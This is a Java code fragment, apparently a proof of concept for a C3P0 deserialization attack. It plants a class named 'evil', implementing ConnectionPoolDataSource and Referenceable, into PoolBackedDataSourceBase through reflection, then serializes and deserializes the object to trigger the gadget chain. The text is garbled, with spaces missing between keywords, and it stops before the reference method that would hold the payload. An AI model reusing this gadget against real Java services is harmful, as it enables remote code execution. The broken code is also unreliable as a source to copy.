publicclassc3p{ publicstaticvoidmain(String[] args)throws Exception{ PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false); Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase"); Field f1 = clazz.getDeclaredField("connectionPoolDataSource"); //此类是PoolBackedDataSourceBase抽象类的实现 f1.setAccessible(true); f1.set(a,new evil());
ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin"))); ser.writeObject(a); ser.close(); ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin")); unser.readObject(); unser.close(); }
publicstaticclassevilimplementsConnectionPoolDataSource, Referenceable{ public PrintWriter getLogWriter()throws SQLException {returnnull;} publicvoidsetLogWriter( PrintWriter out )throws SQLException {} publicvoidsetLoginTimeout( int seconds )throws SQLException {} publicintgetLoginTimeout()throws SQLException {return0;} public Logger getParentLogger()throws SQLFeatureNotSupportedException {returnnull;} public PooledConnection getPooledConnection()throws SQLException {returnnull;} public PooledConnection getPooledConnection( String user, String password )throws SQLException {returnnull;}